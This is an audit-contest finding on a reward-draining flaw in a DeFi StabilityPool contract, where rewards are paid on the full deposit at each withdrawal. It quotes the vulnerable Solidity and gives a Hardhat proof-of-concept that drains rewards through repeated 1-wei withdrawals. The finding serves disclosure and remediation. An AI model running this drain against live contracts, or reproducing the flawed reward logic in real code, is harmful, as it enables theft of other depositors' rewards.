Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

All rewards in the stability pool can easily be drained.

Target

contracts/core/pools/StabilityPool/StabilityPool.sol

Summary

The withdraw function in the StabilityPool contract calculates rewards based on the current deposit balance of the user relative to the total deposits, this flawed calculation logic allows a user to claim rewards more than their share by withdrawing negligible amounts and continually using the value of their remaining balance to keep claiming rewards thereby draining all the rewards for themselves.

Vulnerability Details

The stability pool allows users to deposit rTokens, minting and burning DETokens based on deposits and withdrawals. Upon withdrawals, it calculates and distribute RAAC rewards to depositors based on the users deposit share of the pool.

function withdraw(uint256 deCRVUSDAmount) external nonReentrant whenNotPaused validAmount(deCRVUSDAmount) {
_update();
if (deToken.balanceOf(msg.sender) < deCRVUSDAmount) revert InsufficientBalance();
uint256 rcrvUSDAmount = calculateRcrvUSDAmount(deCRVUSDAmount);
uint256 raacRewards = calculateRaacRewards(msg.sender);
if (userDeposits[msg.sender] < rcrvUSDAmount) revert InsufficientBalance();
userDeposits[msg.sender] -= rcrvUSDAmount;
if (userDeposits[msg.sender] == 0) {
delete userDeposits[msg.sender];
}
deToken.burn(msg.sender, deCRVUSDAmount);
rToken.safeTransfer(msg.sender, rcrvUSDAmount);
if (raacRewards > 0) {
raacToken.safeTransfer(msg.sender, raacRewards);
}
emit Withdraw(msg.sender, rcrvUSDAmount, deCRVUSDAmount, raacRewards);
}

StabilityPool.withdraw

This reward calculation and transfer happens during withdrawals, at that point, the users RAACRewards is calculated based on their current deposit relative to the total deposit, this determines the share of the rewards sent to the user.

function calculateRaacRewards(address user) public view returns (uint256) {
uint256 userDeposit = userDeposits[user];
uint256 totalDeposits = deToken.totalSupply();
uint256 totalRewards = raacToken.balanceOf(address(this));
if (totalDeposits < 1e6) return 0;
return (totalRewards * userDeposit) / totalDeposits;
}

StabilityPool.calculateRaacRewards

This however introduces a critical vulnerability since the user can deposit a substantial amount of rTokens, wait till rewards have been supplied to the pool and withdraw a negligible amount of rTokens, each time the user does this, their rewards are calculated based on their total deposit amount without updating any internal accounting therefore the user can continue using this flawed logic to ultimately drain all the rewards from the pool

Impact

Due to this vulnerability an attack can steal all the rewards of other participants in the stability pool

Tools Used

Manual Review

Recommendations

DeTokens should not be minted on a 1 - 1 exchange rate to rToken deposits, instead it should be implemented using the ERC4626 vault standard, this simplifies share value calculation and redemption.

POC

add this test script to test/unit/core/pools/StabilityPool/StabilityPool.test.js

describe("Exploit POC #1", function () {
it("should steal all rewards from pool", async function () {
const depositAmount1 = ethers.parseEther("100");
const depositAmount2 = ethers.parseEther("50");
// Setup for user1
await crvusd.mint(user1.address, depositAmount1);
await crvusd.connect(user1).approve(lendingPool.target, depositAmount1);
await lendingPool.connect(user1).deposit(depositAmount1);
await rToken.connect(user1).approve(stabilityPool.target, depositAmount1);
// Setup for user2
await crvusd.mint(user2.address, depositAmount2);
await crvusd.connect(user2).approve(lendingPool.target, depositAmount2);
await lendingPool.connect(user2).deposit(depositAmount2);
await rToken.connect(user2).approve(stabilityPool.target, depositAmount2);
await stabilityPool.connect(user1).deposit(ethers.parseEther("100"));
await stabilityPool.connect(user2).deposit(ethers.parseEther("50"));
//attacker deposits a substantial amount of rTokens before tick
await stabilityPool.connect(user3).deposit(ethers.parseEther("100"));
await ethers.provider.send("evm_increaseTime", [86400]);
await ethers.provider.send("evm_mine");
await raacMinter.tick();
//current total rewards in the pool // 4631944444444444428 -> 4.6... Ether value
let raacBalance = await raacToken.balanceOf(await stabilityPool.getAddress());
console.log('current rewards in the pool: ' + raacBalance);
// this should be the correct reward share of the attacker // 1852777777777777771 -> 1.8...Ether value
let user3Rewards = await stabilityPool.calculateRaacRewards(user3.address)
console.log('attacker init reward ' + user3Rewards );
// the attacker withdraws 1 wei each time, getting rewards proportional to thier balance instead of withdrawal amt
for (let i = 0; i < 15; i++) {
await stabilityPool.connect(user3).withdraw(1);
}
//After 15 rounds of 1 wei withdrawals, the attacker's remaining deposit in the pool -> 9.999999999..85 Ether value (15 wei withdrawn)
let balanceOfAttacker = await stabilityPool.getUserDeposit(user3.address);
console.log('attacker remaining balance ', balanceOfAttacker);
//remaining rewards in the pool -> 210413248855381333 -> 0.2 Ether value
raacBalance = await raacToken.balanceOf(await stabilityPool.getAddress());
console.log('current rewards in the pool after attack: ' + raacBalance);
// the attacker can continue withdrawing negligble amounts of deposited rTokens till all the rewards are drained.
});
});
Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::withdraw can be called with partial amounts, but it always send the full rewards

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!